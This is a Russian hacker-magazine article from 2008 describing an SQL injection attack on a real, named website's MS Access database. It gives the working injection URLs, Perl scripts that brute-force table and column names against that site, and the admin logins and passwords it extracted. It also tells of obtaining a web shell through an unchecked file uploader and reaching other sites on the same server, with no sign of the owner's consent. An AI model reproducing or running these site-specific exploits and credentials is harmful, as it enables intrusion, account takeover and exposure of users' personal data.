Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #112, АПРЕЛЬ 2008 г.

Полный доступ

Евгений «Corwin» Ермаков (corwin.freeweb7.com)

Хакер, номер #112, стр. 112-070-1

Получаем данные через MS Access

Проводя пентест одного из серверов, я столкнулся с нестандартной для меня СУБД– MSAccess. С чем только до этого не приходилось работать, но с продуктами от MS еще ни разу! Прочитав с десяток страниц документации из ebooks и отдельных публикаций, я решил протестировать полученные навыки на другом, ранее также недоломанном из-за незнания сервере, работающем в связке с Access. И что же из этого вышло?

History

Первый вопрос, который возник – откуда же был взят линк и зачем мне вообще был нужен этот сервер? Такое бывает, когда за день приходится просерфить огромное количество хостов. Недолго мучаясь, я вспомнил, что линк был найден на сайте М. Фленова, но автор ничего из этого не получил и лишь написал, что баг может привести к опасным последствиям. Сама ссылка на уязвимый скрипт: http://compostingcouncil.org/section.cfm?id=-1.

По шаблону

Далее все стандартно. Количество выбираемых из первого запроса полей можно подобрать примитивным подбором или использовать оператор order by. На запрос

http://compostingcouncil.org/section.cfm?id=-1 order by 13

сервер вывел пустую страницу, что говорило о большем количестве столбцов. После запроса

http://compostingcouncil.org/section.cfm?id=-1 order by 14

была получена ошибка:

...

ODBC Error Code = S1000 (General error)

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '14' as a valid field name or expression.

The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:59).

...

Это означало, что количество столбцов – 13.

Смотрим принтабельные столбцы. Был составлен такой запрос:

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from MSysObjects

После чего на странице появились порядковые номера принтабельных столбцов – 6,7,8,9.

Теперь получить названия всех таблиц было делом техники. Для этого мы выбираем столбец name из системной таблицы MSysObjects. Есть лишь одно «но» – доступ к этой таблице по умолчанию запрещен. Однако в этот раз мне повезло – на странице появились названия всех таблиц находившихся в базе:

AccessLayout

Admin

Articles

Calendar

DataAccessPages

Databases

Forms

Links

Links Query

Links Query1

Modules

MSysAccessObjects

MSysACEs

MSysDb

MSysObjects

MSysQueries

MSysRelationships

nav_left

News

Publications

Relationships

Reports

Scripts

Sections

Sections Query

sections2 Query

Special Query

SummaryInfo

SysRel

Tables

UserDefined

Users

Таблицы и поля

Обратившись к таблице Admin, я был удивлен тем, что получил сообщение: такая таблица не найдена. Смирившись, я обратился к таблице Users:

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 from Users

Теперь все прошло нормально. Оставалось лишь подобрать названия колонок. Достаточно быстро было подобрано название колонки с id пользователей – userid. Перебирая всевозможные комбинации слов, которые могли составлять название колонки с логинами юзеров, я понял, что логичнее будет посмотреть название переменной, которая передавалась через форму входа в админку. Благо эта самая форма располагалась по стандартному адресу http://compostingcouncil.org/admin.

Попытки войти в админку, внедряя запросы к базе, оказались бесполезны. Я испробовал следующие комбинации:

login: " OR 1=1%00

pass:

login: ' OR 1=1%00

pass:

NULL-байт(%00) здесь выступает в качестве комментария.

Поэтому я отбросил эту затею и просмотрел исходник страницы. На что получил следующий кусок кода:

<form action="index.cfm" method="POST">

<tr><td><b>User name:</b></td><td><input type="Text" name="loginname" size="10"></td></tr>

<tr><td><b>Password:</b></td><td><input type="password" name="password" size="10"></td></tr>

<tr><td colspan="2" align="center"><input type="Submit" value="Submit"></td></tr>

</form>

Видно, что название поля ввода, вероятно, имеет значение loginname. Проверяем.

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,9,10,11,12,13 from Users

Действительно! На выходе получаем логины юзеров:

noonan

black

office

Остается подобрать название поля с паролями. По логике попробовал название поля для ввода пароля. Но – не подошло. После продолжительного ручного брута было принято решение заюзать скрипт для перебора. Принцип работы скрипта элементарен – подставлять название колонки, взятое построчно из файла-словаря, и парсинг ответа сервера. Если в ответе присутствует заранее заданная строка, то название подобрано верно. Вот, собственно, сам скрипт:

Брутфорс названий столбцов

#!usr/bin/perl

use LWP::UserAgent;

sub brute($column,$priznak)

{

$url="http://compostingcouncil.org/section.cfm?id=-1+union+select+1,2,3,4,5,6,".$column.",8,9,10,11,12,13+from+Users";

$client = LWP::UserAgent->new( ) or die;

$answer = $client->get($url);

if (index($answer->content,$priznak)>-1){

print $column;

}

}

$priznak="<title>6 - US Composting Council</title>";# Этот код будет присутствовать в ответе сервера, если #запрос успешно выполнится.

open(COLUMNS,"C:/Documents and Settings/Evgen/Рабочий стол/testsql.txt") || die "Con not open file with columns names!"; #Путь к файлу с названиями таблиц/колонок.

print "...\n";

while (defined($column=<COLUMNS>)) {

&brute($column,$priznak);

}

close(COLUMNS);

Так было подобрано название столбца с паролями – loginpassword. Оставалось сделать финальные запросы:

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12,13 from Users where userid=1

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12,13 from Users where userid=2

http://compostingcouncil.org/section.cfm?id=-1 union select 1,2,3,4,5,6,loginname,8,loginpassword,10,11,12,13 from Users where userid=3

И получить заветные акаунты:

login:password

--------------

noonan:testing

black:mega

office:giga

--------------

На этот раз название таблицы получилось подобрать самому, но если это не удастся, то можно заюзать следующий скрипт, работающий по тому же алгоритму, что и брутер колонок:

Брутфорс названий таблиц

#!usr/bin/perl

use LWP::UserAgent;

$priznak="<title>6 - US Composting Council</title>";

sub brute($table,$priznak) #Функция перебора

{

$url="http://compostingcouncil.org/section.cfm?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+".$table."/*";

$client = LWP::UserAgent->new( ) or die;

$answer = $client->get($url); # Отправляем запрос

#Если указанный текс в ответе присутствует, то выводим имя текущей таблицы.

if (index($answer->content,$priznak)>-1){

print $table;

}

}

open(TABLES,"C:/Documents and Settings/Evgen/Рабочий стол/testsql.txt") || die "Con not open file with tables names!";

print "...\n";

while (defined($table=<TABLES>)) {

#Пока не закончатся строчки в файле – перебираем.

&brute($table,$priznak); # Вызываем функцию подбора передавая ей

# имя таблицы, взятое из файла.

}

close(TABLES);

Как видишь, совсем не обязательно использовать тяжеловесные утилиты для решения простых задач.

Копаемся во внутренностях

В админке ничего сверхъестественного найдено не было – новости, юзеры, загрузка pdf-документов и изображений... А вот в юзерах было достаточно много интересной информации. В основном пользователями сайта были работники корпораций, государственные служащие. И про каждого из них была полная информация, в том числе адреса, телефоны, истории всех транзакций. Мне-то все это было не нужно (на то он и пентест), но попади такая инфа в нехорошие руки... Ладно, настало время копать дальше. Аплоадер файлов, как я и надеялся, не проверял содержимое всего, что через него грузилось, и в итоге я заимел шелл.

Ради интереса я скачал сорцы того самого бажного скрипта и другого, не поддавшегося инъекции сценария для входа в админку. Различия, что называется, видны невооруженным взглядом.

Часть кода section.cfm:

...

<cfquery name="getsection" datasource="uscc" dbtype="ODBC">

SELECT *

FROM Sections

Where id = #url.id#

</cfquery>

...

Часть кода secure.cfm, отвечающего за авторизацию:

...

<cfquery name="CheckName" datasource="USCC">

SELECT *

FROM Users

WHERE LoginName = '#LoginName#' AND LoginPassword = '#Password#'

</cfquery>

...

Финальные аккорды

Как выяснилось позже, на сервере крутилось еще несколько десятков сайтов, к которым я получил полный доступ. Затем было обнаружено, что сервер был одним из любимчиков Google - PR=6. Пиар остальных сайтов, которые хостил этот дедик, я и не думал проверять...

WWW

Поскольку эта статья не является подробным пособием по внедрению sql-запросов в MS Access, я настоятельно рекомендую прочесть следующие мануалы:

INFO

Не стоит воспринимать данную информацию, как повод для атаки на базы данных, так как даже простейшие запросы к БД могут стать поводом к возбуждению уголовного дела. Статья предназначена для руководителей компаний, коммерческих предприятий и... для общего развития.

DVD

Ищи на диске простые perl-скрипты, рассмотренные в статье, nfm веб-шелл, а также полезные сценарии, написанные на ColdFusion Markup.

VIDEO

На DVD ты найдешь познавательный видеоролик, демонстрирующий описанные в статье действия пентестера.

Содержание